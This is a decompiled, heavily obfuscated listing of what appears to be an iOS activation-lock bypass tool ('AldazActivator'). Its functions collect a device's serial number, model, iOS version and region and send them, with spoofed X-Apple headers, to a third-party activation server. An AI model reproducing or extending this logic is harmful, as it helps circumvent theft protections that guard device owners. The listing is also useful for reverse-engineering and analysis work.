objc_msgSend(v144, v143, CFSTR("`\x87\xED\x22\x3B\xBFT\xBC\xE8\x83\x23"));
*v145 = -34762499;
}
else if ( v65 == 551294213 )
{
*v145 = 1228323773;
}
}
if ( v65 > 659631152 )
break;
if ( v65 == 590606654 )
{
v31 = -1649146542;
if ( v99 )
v31 = -609916333;
*v145 = v31;
v130 = v141;
}
else if ( v65 == 652786338 )
{
v4 = 0;
v2 = 1665045853;
v5 = 465654464;
goto LABEL_690;
}
}
if ( v65 == 659631153 )
{
v4 = 1;
v2 = 808867116;
v5 = 499354438;
goto LABEL_690;
}
if ( v65 != 671851346 )
break;
*v145 = -1064354168;
}
}
while ( v65 != 661926525 );
LOBYTE(v0) = v132;
objc_release(obj);
objc_release(v70);
objc_autoreleasePoolPop(context);
return (unsigned int)v0;
}
// 100288F60: using guessed type __CFString stru_100288F60;
// 100288FA0: using guessed type __CFString stru_100288FA0;
// 100288FE0: using guessed type __CFString stru_100288FE0;
// 100289020: using guessed type __CFString stru_100289020;
// 100289060: using guessed type __CFString stru_100289060;
// 1002890A0: using guessed type __CFString cfstr_WS_0;
// 1002890E0: using guessed type __CFString stru_1002890E0;
// 100289120: using guessed type __CFString cfstr_4_6;
// 100289160: using guessed type __CFString stru_100289160;
// 1002891A0: using guessed type __CFString cfstr_E68_0;
// 1002891E0: using guessed type __CFString stru_1002891E0;
// 100289220: using guessed type __CFString stru_100289220;
// 100289260: using guessed type __CFString stru_100289260;
// 1002892A0: using guessed type __CFString stru_1002892A0;
// 100289320: using guessed type __CFString cfstr_Xd;
// 1002893A0: using guessed type __CFString stru_1002893A0;
// 10029F5F8: using guessed type int dword_10029F5F8;
//----- (00000001001C24E9) ----------------------------------------------------
__CFString *__fastcall SendEncryptedCH(id a1, void *a2)
{
__int64 v2; // rsi
SEL *v3; // r15
SEL *v4; // r12
SEL *v5; // r14
NSString *v6; // rax
NSString *v7; // rbx
NSData *v8; // rax
NSData *v9; // r13
id v10; // rax
NSURL *v11; // rax
NSMutableURLRequest *v12; // rax
NSMutableURLRequest *v13; // r13
id v14; // rax
id v15; // rax
id v16; // rax
id v17; // r13
NSURLSession *v18; // rax
id v19; // rax
__CFString *v20; // r14
id v21; // r13
id v22; // r12
id v23; // rax
__int64 v24; // rdx
id v25; // rax
id v26; // r13
id v27; // rax
id v28; // r14
id v29; // r13
id v30; // r13
SEL v32[2]; // [rsp+0h] [rbp-90h] BYREF
const char *v33; // [rsp+10h] [rbp-80h]
id v34; // [rsp+18h] [rbp-78h]
id v35; // [rsp+20h] [rbp-70h]
id v36; // [rsp+28h] [rbp-68h]
id v37; // [rsp+30h] [rbp-60h]
id v38; // [rsp+38h] [rbp-58h]
id v39; // [rsp+40h] [rbp-50h]
id v40; // [rsp+48h] [rbp-48h]
id v41; // [rsp+50h] [rbp-40h]
id v42; // [rsp+58h] [rbp-38h]
id v43; // [rsp+60h] [rbp-30h]
v42 = a2;
v2 = 1090523520;
if ( !dword_10029F5FC )
{
strcpy(asc_100289400, "[+] Respuesta del servidor: %@");
strcpy(a9_8, "[i] Enviando payload cifrado (%lu bytes)...");
strcpy(asc_1002894AD, "EMPTY_PAYLOAD");
strcpy(asc_100284700, "application/octet-stream");
strcpy(asc_100289460, "https://itunes.ialdaz-activator.com/API/AldazDevA12/ch_fix.php");
v2 = 64;
asc_10028471E[0] = 80;
asc_10028471E[1] = 79;
asc_10028471E[2] = 83;
asc_10028471E[3] = 84;
asc_10028471E[4] = 0;
strcpy(asc_100284750, "X-Apple-SerialNumber");
strcpy(aN_24, "AldazActivator/2.0 (Platform; OS) MobileDevice/5.0");
strcpy(asc_1002893CF, "X-Apple-Action");
strcpy(asc_1002845FB, "User-Agent");
strcpy(aC_15, "Content-Type");
aEI[0] = 91;
aEI[1] = 33;
aEI[2] = 93;
aEI[3] = 32;
aEI[4] = 103;
aEI[5] = 65;
aEI[6] = 108;
aEI[7] = 100;
aEI[8] = 97;
aEI[9] = 122;
aEI[10] = 85;
aEI[11] = 32;
aEI[12] = 118;
aEI[13] = 97;
aEI[14] = 99;
aEI[15] = 237;
aEI[16] = 111;
aEI[17] = 44;
aEI[18] = 32;
aEI[19] = 110;
aEI[20] = 111;
aEI[21] = 32;
aEI[22] = 115;
aEI[23] = 101;
aEI[24] = 32;
aEI[25] = 101;
aEI[26] = 110;
aEI[27] = 118;
aEI[28] = 105;
aEI[29] = 97;
aEI[30] = 114;
aEI[31] = 225;
aEI[32] = 32;
aEI[33] = 110;
aEI[34] = 97;
aEI[35] = 100;
aEI[36] = 97;
aEI[37] = 0;
}
dword_10029F5FC = 1;
v3 = &v32[-6];
v4 = &v32[-4];
v5 = &v32[-6];
objc_retain(a1);
objc_retain(v42);
v43 = a1;
if ( a1 && (v2 = (__int64)"length", objc_msgSend(v43, "length")) )
{
v6 = +[iOSDevice SerialNumber](&OBJC_CLASS___iOSDevice, "SerialNumber");
v7 = objc_retainAutoreleasedReturnValue(v6);
v8 = -[NSString dataUsingEncoding:](v7, "dataUsingEncoding:", 4);
v9 = objc_retainAutoreleasedReturnValue(v8);
objc_release(v7);
v35 = v9;
v10 = HikariFunctionWrapper_18933(v9);
v39 = objc_retainAutoreleasedReturnValue(v10);
v11 = +[NSURL URLWithString:](
&OBJC_CLASS___NSURL,
"URLWithString:",
CFSTR("$\xF9u\x9E{\x02p\x0Ef}\xD4\x4C.\xFF\a9\xC2\x2Clj=\x9D\xF8\x83Z\xD6\x69\x86\xE5\x3B\xE4\xE7\x39\x58R\x000\f\\\x9AiM\xBE\x90\x9EVW\xC2\x66\xC7\x3E*\xE1\x0C\xFD\xF1\xAD\x49\x9D\xB7\xE1\xA4\xF5"));
v36 = objc_retainAutoreleasedReturnValue(v11);
v12 = +[NSMutableURLRequest requestWithURL:](&OBJC_CLASS___NSMutableURLRequest, "requestWithURL:", v36);
v13 = objc_retainAutoreleasedReturnValue(v12);
-[NSMutableURLRequest setHTTPMethod:](v13, "setHTTPMethod:", CFSTR("\xB1\x0F`\xBEY"));
-[NSMutableURLRequest setValue:forHTTPHeaderField:](
v13,
"setValue:forHTTPHeaderField:",
CFSTR("\xC0\xF6\a\b\xB7D\xAE:u\xA0R\x01\x123G\xBEl\xA6\xBF\xABav\xB2\x19M"),
CFSTR("c#\xD2\x4C\x1C9vQp\x83\x88\x1A"));
-[NSMutableURLRequest setValue:forHTTPHeaderField:](
v13,
"setValue:forHTTPHeaderField:",
v39,
CFSTR("\x17\xD6\x21\x9C\x8D\x97f\xAC%t#fC\xF4\x30\x0D\xEB\xF7\x5D\xAD\xCF"));
-[NSMutableURLRequest setValue:forHTTPHeaderField:](
v13,
"setValue:forHTTPHeaderField:",
CFSTR("N\x81\xE6\x16\x8Cy\xA5\xE8\xE0\x58I*\x01\x8B(tr;\x11\xE6\x28\xAB\x82\x81\xC6\xC4\xAFg\xC5\x2D(\x19\x8ER\xFD\xF0\xCF\xFA\x02IZ`\x11\bh\xBFO3Z\x8E"),
CFSTR("\xAF\u05CF\fy\xC1\x37\xB4\xB4K\x1E"));
HikariFunctionWrapper_18935(v13, "setValue:forHTTPHeaderField:");
v14 = HikariFunctionWrapper_18937(v43, "dataUsingEncoding:");
v15 = objc_retainAutoreleasedReturnValue(v14);
v38 = v13;
v37 = v15;
-[NSMutableURLRequest setHTTPBody:](v13, "setHTTPBody:", v15);
v16 = HikariFunctionWrapper_18939(&OBJC_CLASS___NSURLSessionConfiguration, "ephemeralSessionConfiguration");
v17 = objc_retainAutoreleasedReturnValue(v16);
objc_msgSend(v17, "setTimeoutIntervalForRequest:", 30.0);
v18 = +[NSURLSession sessionWithConfiguration:](&OBJC_CLASS___NSURLSession, "sessionWithConfiguration:", v17);
v40 = objc_retainAutoreleasedReturnValue(v18);
*v3 = 0;
v3[1] = (SEL)v3;
*((_DWORD *)v3 + 4) = 838860800;
*((_DWORD *)v3 + 5) = 48;
v3[3] = (SEL)__Block_byref_object_copy__1;
v3[4] = (SEL)__Block_byref_object_dispose__1;
v3[5] = 0;
*v4 = 0;
v4[1] = (SEL)v4;
v4[2] = (SEL)0x2020000000LL;
*((_BYTE *)v4 + 24) = 0;
v19 = HikariFunctionWrapper_18941(v37, "length");
NSLog(
CFSTR("9'\xF2\x65\xEF\xA6\x02\xB7#A\xCF\x02\xF3\xBD\x63\xDA\xA0\xFC\xC2\x5C9$\x89\xA9\xB2(\xC0\xAD\xDD\x46\xC0\x5D\x8E\xFE\x0EZ\xDF\x14\xAE籊{"),
v19,
114628873,
1624696324);
*v5 = (SEL)_NSConcreteStackBlock;
*((_DWORD *)v5 + 2) = -1040187392;
*((_DWORD *)v5 + 3) = 0;
v5[2] = (SEL)__SendEncryptedCH_block_invoke;
v5[3] = (SEL)&__block_descriptor_48_e8_32r40r_e46_v32__0__NSData_8__NSURLResponse_16__NSError_24l;
v5[4] = (SEL)v3;
v5[5] = (SEL)v4;
v34 = v17;
v23 = HikariFunctionWrapper_18943(v40, "dataTaskWithRequest:completionHandler:");
v41 = objc_retainAutoreleasedReturnValue(v23);
HikariFunctionWrapper_18945(v41, "resume");
v24 = 2496829828LL;
if ( !v4[1][24] )
{
v32[1] = (SEL)-1LL;
v32[0] = "dateWithTimeIntervalSinceNow:";
v33 = "runMode:beforeDate:";
do
{
v25 = HikariFunctionWrapper_18947(&OBJC_CLASS___NSRunLoop, "currentRunLoop");
v26 = objc_retainAutoreleasedReturnValue(v25);
v27 = objc_msgSend(&OBJC_CLASS___NSDate, v32[0], 690746452, 0.05);
v28 = objc_retainAutoreleasedReturnValue(v27);
HikariFunctionWrapper_18949(v26, v33);
objc_release(v28);
objc_release(v26);
v24 = 4018141152LL;
}
while ( !v4[1][24] );
}
NSLog(
CFSTR("\xDD\x46&\x942\xA8BGǟ\xFF\x13\xE1\x7A\x9Ed\xD4\xC6*\x7F\x1Fϼ\xC9\x75\x01\xBB\xAE,\x1BL"),
*((_QWORD *)v3[1] + 5),
v24,
2328816913LL);
v20 = (__CFString *)*((_QWORD *)v3[1] + 5);
objc_retain(v20);
objc_release(v41);
_Block_object_dispose(&v32[-4], 8);
v29 = v34;
_Block_object_dispose(&v32[-6], 8);
objc_release((id)v3[5]);
objc_release(v40);
objc_release(v29);
v30 = v38;
objc_release(v37);
objc_release(v30);
objc_release(v36);
objc_release(v39);
objc_release(v35);
v22 = v43;
v21 = v42;
}
else
{
NSLog(
CFSTR("ꡳ顎徍鼠㬩Ⅰ\x5E\xD9\x8A\xEA䕪둼ɲᲝ桉⠁꩔랿螋潶굝᮶៓嗡頥틗쬗㎞䨍縘ѫﺐ珳闼秤깃\u18F8뱀"),
v2);
v20 = CFSTR("\xC6\xE5\xEE\xAE\x78\xB9BL\xA5_\b&ѱ");
v21 = v42;
v22 = v43;
}
objc_release(v21);
objc_release(v22);
objc_autoreleaseReturnValue(v20);
return v20;
}
// 10025F9F8: using guessed type __objc2_class OBJC_CLASS___iOSDevice;
// 1002847D0: using guessed type __int16 aEI[38];
// 1002894E0: using guessed type __CFString stru_1002894E0;
// 100289520: using guessed type __CFString cfstr_C_15_1;
// 100289560: using guessed type __CFString stru_100289560;
// 100289620: using guessed type __CFString stru_100289620;
// 100289660: using guessed type __CFString cfstr_N_24_1;
// 1002896A0: using guessed type __CFString stru_1002896A0;
// 1002896E0: using guessed type __CFString stru_1002896E0;
// 1002897A0: using guessed type __CFString stru_1002897A0;
// 10029F5FC: using guessed type int dword_10029F5FC;
//----- (00000001001C566C) ----------------------------------------------------
__CFString *__fastcall SendEncryptedLogToServer(void *a1)
{
id v1; // r15
__CFString *v2; // rbx
NSString *v3; // rax
NSString *v4; // rbx
NSData *v5; // rax
NSData *v6; // r12
id v7; // rax
id v8; // rbx
NSURL *v9; // rax
NSMutableURLRequest *v10; // rax
NSMutableURLRequest *v11; // r15
NSString *v12; // rax
NSString *v13; // rbx
NSString *v14; // rax
NSString *v15; // rax
_QWORD *v16; // r13
NSString *v17; // r14
NSString *v18; // rax
NSString *v19; // r14
id v20; // rax
id v21; // rax
id v22; // rbx
NSURLSession *v23; // rax
NSURLSession *v24; // rax
_QWORD *v25; // rcx
_BYTE *v26; // r13
void *v27; // rbx
NSMutableURLRequest *v28; // r14
char *v29; // r15
id v30; // rax
__int64 v31; // rdx
NSRunLoop *v32; // rax
NSRunLoop *v33; // r15
id v34; // rax
id v35; // rbx
void *v36; // r14
id v37; // r13
__int64 v39; // [rsp+0h] [rbp-A0h] BYREF
id v40; // [rsp+8h] [rbp-98h]
id v41; // [rsp+10h] [rbp-90h]
__int64 v42; // [rsp+18h] [rbp-88h]
SEL v43; // [rsp+20h] [rbp-80h]
id v44; // [rsp+28h] [rbp-78h]
id v45; // [rsp+30h] [rbp-70h]
id v46; // [rsp+38h] [rbp-68h]
id v47; // [rsp+40h] [rbp-60h]
id v48; // [rsp+48h] [rbp-58h] BYREF
char *v49; // [rsp+50h] [rbp-50h]
id v50; // [rsp+58h] [rbp-48h]
void *v51; // [rsp+60h] [rbp-40h]
void *v52; // [rsp+68h] [rbp-38h]
id v53; // [rsp+70h] [rbp-30h]
v50 = a1;
if ( !dword_10029F600 )
{
strcpy(aC_15, "Content-Type");
strcpy(asc_100289810, "https://itunes.ialdaz-activator.com/API/AldazDevA12/uploader.php");
asc_10028471E[0] = 80;
asc_10028471E[1] = 79;
asc_10028471E[2] = 83;
asc_10028471E[3] = 84;
asc_10028471E[4] = 0;
strcpy(asc_100284750, "X-Apple-SerialNumber");
strcpy(asc_100284700, "application/octet-stream");
strcpy(aN_24, "AldazActivator/2.0 (Platform; OS) MobileDevice/5.0");
strcpy(asc_1002846AF, "X-Apple-Build");
strcpy(asc_1002894AD, "EMPTY_PAYLOAD");
strcpy(a9_8, "[i] Enviando payload cifrado (%lu bytes)...");
strcpy(asc_1002845FB, "User-Agent");
strcpy(asc_1002846C8, "X-Apple-PD");
aEI[0] = 91;
aEI[1] = 33;
aEI[2] = 93;
aEI[3] = 32;
aEI[4] = 103;
aEI[5] = 65;
aEI[6] = 108;
aEI[7] = 100;
aEI[8] = 97;
aEI[9] = 122;
aEI[10] = 85;
aEI[11] = 32;
aEI[12] = 118;
aEI[13] = 97;
aEI[14] = 99;
aEI[15] = 237;
aEI[16] = 111;
aEI[17] = 44;
aEI[18] = 32;
aEI[19] = 110;
aEI[20] = 111;
aEI[21] = 32;
aEI[22] = 115;
aEI[23] = 101;
aEI[24] = 32;
aEI[25] = 101;
aEI[26] = 110;
aEI[27] = 118;
aEI[28] = 105;
aEI[29] = 97;
aEI[30] = 114;
aEI[31] = 225;
aEI[32] = 32;
aEI[33] = 110;
aEI[34] = 97;
aEI[35] = 100;
aEI[36] = 97;
aEI[37] = 0;
strcpy(asc_100284692, "X-Apple-Region");
strcpy(asc_100289400, "[+] Respuesta del servidor: %@");
}
dword_10029F600 = 1;
v49 = (char *)&v48;
v1 = v50;
objc_retain(v50);
if ( v1 && objc_msgSend(v1, "length") )
{
v51 = &v39 - 4;
v52 = &v39 - 6;
v3 = +[iOSDevice SerialNumber](&OBJC_CLASS___iOSDevice, "SerialNumber", 808827166);
v4 = objc_retainAutoreleasedReturnValue(v3);
v5 = -[NSString dataUsingEncoding:](v4, "dataUsingEncoding:", 4);
v6 = objc_retainAutoreleasedReturnValue(v5);
objc_release(v4);
v40 = v6;
v7 = encryptMyData(v6);
v8 = objc_retainAutoreleasedReturnValue(v7);
v9 = +[NSURL URLWithString:](
&OBJC_CLASS___NSURL,
"URLWithString:",
CFSTR("\x98O\x7F\x11^\x9E\xA3\x8F\xC1\xBB\xEB\x3C\x5D\xAB\xA7\x9D\xDC\xF4)\xA2\x80au\x8A\xBB}\xA0]\xA7\xF8V;\x15\x03\xF8\x95\xE8\x33\xF42\xC3\x0E7\xCD\x11\xD7\x4F\x99\x96\xA0[2+\x880e\xF9E\x1D\x1A\xCC\x45\x05\xA3"));
v44 = objc_retainAutoreleasedReturnValue(v9);
v10 = +[NSMutableURLRequest requestWithURL:](&OBJC_CLASS___NSMutableURLRequest, "requestWithURL:", v44);
v11 = objc_retainAutoreleasedReturnValue(v10);
-[NSMutableURLRequest setHTTPMethod:](v11, "setHTTPMethod:", CFSTR("\xB1\x0F`\xBEY"));
-[NSMutableURLRequest setValue:forHTTPHeaderField:](
v11,
"setValue:forHTTPHeaderField:",
CFSTR("\xC0\xF6\a\b\xB7D\xAE:u\xA0R\x01\x123G\xBEl\xA6\xBF\xABav\xB2\x19M"),
CFSTR("c#\xD2\x4C\x1C9vQp\x83\x88\x1A"));
v41 = v8;
-[NSMutableURLRequest setValue:forHTTPHeaderField:](
v11,
"setValue:forHTTPHeaderField:",
v8,
CFSTR("\x17\xD6\x21\x9C\x8D\x97f\xAC%t#fC\xF4\x30\x0D\xEB\xF7\x5D\xAD\xCF"));
-[NSMutableURLRequest setValue:forHTTPHeaderField:](
v11,
"setValue:forHTTPHeaderField:",
CFSTR("N\x81\xE6\x16\x8Cy\xA5\xE8\xE0\x58I*\x01\x8B(tr;\x11\xE6\x28\xAB\x82\x81\xC6\xC4\xAFg\xC5\x2D(\x19\x8ER\xFD\xF0\xCF\xFA\x02IZ`\x11\bh\xBFO3Z\x8E"),
CFSTR("\xAF\u05CF\fy\xC1\x37\xB4\xB4K\x1E"));
v12 = +[iOSDevice ProductType](&OBJC_CLASS___iOSDevice, "ProductType");
v13 = objc_retainAutoreleasedReturnValue(v12);
-[NSMutableURLRequest setValue:forHTTPHeaderField:](
v11,
"setValue:forHTTPHeaderField:",
v13,
CFSTR("\xE1\x1B\xC0\xAA\xB4\x8A]dУ\x92"));
objc_release(v13);
v14 = +[iOSDevice iOSVersion](&OBJC_CLASS___iOSDevice, "iOSVersion");
v15 = objc_retainAutoreleasedReturnValue(v14);
v16 = v52;
v17 = v15;
-[NSMutableURLRequest setValue:forHTTPHeaderField:](
v11,
"setValue:forHTTPHeaderField:",
v15,
CFSTR("\xD8\x47\x96\x89\xBFe\tY\xBD\xEB\x5B\xC8KE"));
objc_release(v17);
v18 = +[iOSDevice RegionCode](&OBJC_CLASS___iOSDevice, "RegionCode");
v19 = objc_retainAutoreleasedReturnValue(v18);
-[NSMutableURLRequest setValue:forHTTPHeaderField:](
v11,
"setValue:forHTTPHeaderField:",
v19,
CFSTR("\x94)Z\x16l=2\xC7\x2F7\xE5\xF8\xAB\xA2"));
objc_release(v19);
v20 = HikariFunctionWrapper_18955(v50, "dataUsingEncoding:");
v47 = objc_retainAutoreleasedReturnValue(v20);
HikariFunctionWrapper_18957(v11, "setHTTPBody:");
v21 = HikariFunctionWrapper_18959(&OBJC_CLASS___NSURLSessionConfiguration, "ephemeralSessionConfiguration");
v22 = objc_retainAutoreleasedReturnValue(v21);
objc_msgSend(v22, "setTimeoutIntervalForRequest:", 30.0);
v23 = +[NSURLSession sessionWithConfiguration:](&OBJC_CLASS___NSURLSession, "sessionWithConfiguration:", v22);
v24 = objc_retainAutoreleasedReturnValue(v23);
*v16 = 0;
v16[1] = v16;
v16[2] = 0x3032000000LL;
v16[3] = __Block_byref_object_copy__1;
v16[4] = __Block_byref_object_dispose__1;
v16[5] = 0;
v25 = v51;
*(_QWORD *)v51 = 0;
v25[1] = v25;
v48 = v24;
v45 = v22;
v53 = v11;
v26 = v51;
v27 = v52;
v28 = v11;
v29 = v49;
*((_QWORD *)v51 + 2) = 0x2020000000LL;
v26[24] = 0;
HikariFunctionWrapper_18961(v47, "length");
HikariFunctionWrapper_18963(&cfstr_9_8_1.isa);
*(_QWORD *)v29 = _NSConcreteStackBlock;
*((_DWORD *)v29 + 2) = -1040187392;
*((_DWORD *)v29 + 3) = 0;
*((_QWORD *)v29 + 2) = __SendEncryptedLogToServer_block_invoke;
*((_QWORD *)v29 + 3) = &__block_descriptor_48_e8_32r40r_e46_v32__0__NSData_8__NSURLResponse_16__NSError_24l;
*((_QWORD *)v29 + 4) = v27;
*((_QWORD *)v29 + 5) = v26;
v30 = objc_msgSend(v48, "dataTaskWithRequest:completionHandler:", v28, v29);
v46 = objc_retainAutoreleasedReturnValue(v30);
HikariFunctionWrapper_18965(v46, "resume");
v31 = 19428287;
if ( !*(_BYTE *)(*((_QWORD *)v26 + 1) + 24LL) )
{
v42 = -1;
v49 = "dateWithTimeIntervalSinceNow:";
v43 = "runMode:beforeDate:";
do
{
v32 = +[NSRunLoop currentRunLoop](&OBJC_CLASS___NSRunLoop, "currentRunLoop");
v33 = objc_retainAutoreleasedReturnValue(v32);
v34 = HikariFunctionWrapper_18967(&OBJC_CLASS___NSDate, v49);
v35 = objc_retainAutoreleasedReturnValue(v34);
objc_msgSend(v33, v43, v42, v35, 0.05);
objc_release(v35);
objc_release(v33);
v31 = 1;
}
while ( !*(_BYTE *)(*((_QWORD *)v26 + 1) + 24LL) );
}
v36 = v52;
NSLog(
CFSTR("\xDD\x46&\x942\xA8BGǟ\xFF\x13\xE1\x7A\x9Ed\xD4\xC6*\x7F\x1Fϼ\xC9\x75\x01\xBB\xAE,\x1BL"),
*(_QWORD *)(*((_QWORD *)v52 + 1) + 40LL),
v31);
v1 = v50;
v2 = *(__CFString **)(*((_QWORD *)v36 + 1) + 40LL);
objc_retain(v2);
objc_release(v46);
_Block_object_dispose(v26, 8);
HikariFunctionWrapper_18969(v36, 8);
objc_release(*((id *)v36 + 5));
v37 = v41;
objc_release(v48);
objc_release(v45);
objc_release(v47);
objc_release(v53);
objc_release(v44);
objc_release(v37);
objc_release(v40);
}
else
{
NSLog(CFSTR("ꡳ顎徍鼠㬩Ⅰ\x5E\xD9\x8A\xEA䕪둼ɲᲝ桉⠁꩔랿螋潶굝᮶៓嗡頥틗쬗㎞䨍縘ѫﺐ珳闼秤깃\u18F8뱀"));
v2 = CFSTR("\xC6\xE5\xEE\xAE\x78\xB9BL\xA5_\b&ѱ");
}
objc_release(v1);
objc_autoreleaseReturnValue(v2);
return v2;
}
// 10025F9F8: using guessed type __objc2_class OBJC_CLASS___iOSDevice;
// 1002847D0: using guessed type __int16 aEI[38];
// 1002898C0: using guessed type __CFString stru_1002898C0;
// 100289900: using guessed type __CFString stru_100289900;
// 100289940: using guessed type __CFString stru_100289940;
// 100289980: using guessed type __CFString cfstr_N_24_2;
// 1002899C0: using guessed type __CFString stru_1002899C0;
// 100289A00: using guessed type __CFString stru_100289A00;
// 100289A80: using guessed type __CFString stru_100289A80;
// 100289AC0: using guessed type __CFString cfstr_9_8_1;
// 100289B00: using guessed type __CFString stru_100289B00;
// 100289B40: using guessed type __CFString cfstr_C_15_2;
// 100289B80: using guessed type __CFString stru_100289B80;
// 100289BC0: using guessed type __CFString stru_100289BC0;
// 10029F600: using guessed type int dword_10029F600;
//----- (00000001001C97DF) ----------------------------------------------------
id __fastcall ExistFromServer(id a1)
{
bool v1; // zf
int v2; // eax
id v3; // rax
char v4; // cf
int v5; // eax
int v6; // ecx
bool v7; // zf
int v8; // ecx
NSRegularExpression *v9; // rax
id v10; // rax
__int64 v11; // rdx
id v12; // rax
id v13; // rax
id v14; // r13
id v15; // rax
id v16; // r14
id v17; // rax
id v18; // rax
id v19; // rax
id v20; // r13
id v21; // rax
id v22; // rax
id v23; // rax
id v25; // [rsp+0h] [rbp-C0h]
unsigned __int64 v26; // [rsp+8h] [rbp-B8h]
const char *v27; // [rsp+10h] [rbp-B0h]
const char *v28; // [rsp+18h] [rbp-A8h]
id v29; // [rsp+20h] [rbp-A0h]
__int64 v30; // [rsp+28h] [rbp-98h]
const char *v31; // [rsp+30h] [rbp-90h]
id v32; // [rsp+38h] [rbp-88h]
const char *v33; // [rsp+40h] [rbp-80h]
id v34; // [rsp+48h] [rbp-78h]
id v35; // [rsp+50h] [rbp-70h]
int v36; // [rsp+58h] [rbp-68h]
int v37; // [rsp+5Ch] [rbp-64h] BYREF
id v38; // [rsp+60h] [rbp-60h]
void *v39; // [rsp+68h] [rbp-58h]
id v40; // [rsp+70h] [rbp-50h]
id v41; // [rsp+78h] [rbp-48h]
id v42; // [rsp+80h] [rbp-40h]
bool v43; // [rsp+89h] [rbp-37h]
char v44; // [rsp+8Ah] [rbp-36h]
bool v45; // [rsp+8Bh] [rbp-35h]
bool v46; // [rsp+8Ch] [rbp-34h]
bool v47; // [rsp+8Dh] [rbp-33h]
bool v48; // [rsp+8Eh] [rbp-32h]
char v49; // [rsp+8Fh] [rbp-31h]
int *v50; // [rsp+90h] [rbp-30h]
v36 = dword_10029F604;
v37 = -724709203;
v50 = &v37;
do
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( v37 <= 294437666 )
{
if ( v37 > -833890696 )
{
if ( v37 <= -563248049 )
{
if ( v37 > -724709204 )
{
if ( v37 > -613418483 )
{
if ( v37 == -613418482 )
{
aN_26[28] = v49;
aN_26[29] = 110;
aN_26[30] = 99;
aN_26[31] = 111;
aN_26[32] = 110;
aN_26[33] = 116;
aN_26[34] = 114;
aN_26[35] = 97;
aN_26[36] = 100;
aN_26[37] = 97;
aN_26[38] = 0;
v5 = -2126089568;
goto LABEL_178;
}
if ( v37 == -588274029 )
*v50 = -1520416887;
}
else
{
if ( v37 == -724709203 )
{
v5 = 862545773;
goto LABEL_178;
}
if ( v37 == -724385681 )
{
*v50 = 650047700;
v35 = 0;
}
}
}
else if ( v37 > -759468231 )
{
if ( v37 == -759468230 )
{
v7 = 0;
v5 = 1464859379;
v8 = -1706194399;
goto LABEL_168;
}
if ( v37 == -733715388 )
*v50 = 862545773;
}
else if ( v37 == -833890695 )
{
*v50 = -724385681;
}
else if ( v37 == -770567852 )
{
objc_release(a1);
objc_autoreleaseReturnValue(v40);
*v50 = -337938741;
}
}
else if ( v37 <= -337938742 )
{
if ( v37 > -483392817 )
{
if ( v37 == -483392816 )
{
*v50 = -1945635257;
}
else if ( v37 == -413179081 )
{
NSLog(CFSTR("N\xD8\x7C*\x12xcE-\xD9\x59\xF1\x7F\x31\x86L|\x1E\x1Dµ\x922i\xFDԛX|\xB3\x97C\x8A?\xF6\x18\x59\x0A"));
v5 = -833890695;
goto LABEL_178;
}
}
else
{
if ( v37 == -563248048 )
{
v7 = 0;
v5 = -2114474387;
v8 = 337612396;
goto LABEL_168;
}
if ( v37 == -525845603 )
{
v1 = !v45;
v2 = 1305904593;
LABEL_61:
if ( !v1 )
v2 = 1235266700;
*v50 = v2;
v39 = 0;
}
}
}
else if ( v37 <= -4837072 )
{
if ( v37 == -337938741 )
{
objc_release(a1);
objc_autoreleaseReturnValue(v40);
v7 = 0;
v5 = -770567852;
v8 = 1408102818;
goto LABEL_168;
}
if ( v37 == -262849380 )
{
v48 = v26 < 2;
v4 = 1;
v5 = -1298121276;
v6 = 1433232288;
goto LABEL_176;
}
}
else
{
switch ( v37 )
{
case -4837071:
v4 = 1;
v5 = -1298121276;
v6 = -262849380;
goto LABEL_176;
case -1361607:
v7 = 0;
v28 = "numberOfRanges";
v5 = 2009237482;
v8 = 789835526;
goto LABEL_168;
case 22721782:
v1 = !v46;
v2 = -2065699025;
goto LABEL_61;
}
}
}
else if ( v37 <= -1553102172 )
{
if ( v37 > -1945635258 )
{
if ( v37 > -1832898157 )
{
if ( v37 == -1832898156 )
{
objc_msgSend(a1, v27);
v17 = HikariFunctionWrapper_18981(v38, "firstMatchInString:options:range:");
v42 = objc_retainAutoreleasedReturnValue(v17);
v5 = -1211782872;
goto LABEL_178;
}
if ( v37 == -1706194399 )
{
v10 = objc_msgSend(v42, "rangeAtIndex:", 1);
v7 = 0;
v29 = v10;
v30 = v11;
v31 = "substringWithRange:";
v5 = 1464859379;
v8 = -1207411208;
goto LABEL_168;
}
}
else
{
if ( v37 == -1945635257 )
{
v7 = !v43;
v5 = 1335449734;
v8 = 767581657;
goto LABEL_168;
}
if ( v37 == -1888942564 )
{
v7 = 0;
v5 = -1546577761;
v8 = -613418482;
goto LABEL_168;
}
}
}
else if ( v37 > -2109077104 )
{
if ( v37 == -2109077103 )
{
*v50 = -1553102171;
}
else if ( v37 == -2065699025 )
{
v9 = +[NSRegularExpression regularExpressionWithPattern:options:error:](
&OBJC_CLASS___NSRegularExpression,
"regularExpressionWithPattern:options:error:",
CFSTR("e\xBDp˱\xA8\x93\xB0<qB\xA30\x8D\x01U\xFA\xDC\xD8r\xA0̗\xEA\x3E\x71\t\x8C\xC8\x36\xA7\x95\x9C\xF3\xC2\x30\xFE\xDF\xEA\x87y\xD8\x25\xC5\x33"),
1,
0);
v38 = objc_retainAutoreleasedReturnValue(v9);
*v50 = 441594964;
}
}
else if ( v37 == -2126089568 )
{
*v50 = 1335449734;
}
else if ( v37 == -2114474387 )
{
v3 = objc_msgSend(a1, v31, v29, v30);
objc_retainAutoreleasedReturnValue(v3);
*v50 = 337612396;
}
}
else if ( v37 <= -1505653263 )
{
if ( v37 > -1520416888 )
{
if ( v37 == -1520416887 )
{
v4 = 1;
v5 = -1520416887;
v6 = 22721782;
goto LABEL_176;
}
if ( v37 == -1513387915 )
{
v45 = a1 == 0;
*v50 = 296491258;
}
}
else
{
if ( v37 == -1553102171 )
goto LABEL_118;
if ( v37 == -1546577761 )
{
aN_26[28] = v49;
aN_26[29] = 110;
aN_26[30] = 99;
aN_26[31] = 111;
aN_26[32] = 110;
aN_26[33] = 116;
aN_26[34] = 114;
aN_26[35] = 97;
aN_26[36] = 100;
aN_26[37] = 97;
aN_26[38] = 0;
*v50 = -613418482;
}
}
}
else if ( v37 <= -1298121277 )
{
if ( v37 == -1505653262 )
{
v7 = 0;
v5 = 2057466797;
v8 = 1357001186;
goto LABEL_168;
}
if ( v37 == -1404558066 )
*v50 = 1842872413;
}
else
{
switch ( v37 )
{
case -1298121276:
*v50 = -262849380;
break;
case -1211782872:
*v50 = -1505653262;
break;
case -1207411208:
*v50 = -563248048;
break;
}
}
}
if ( v37 > 1003377361 )
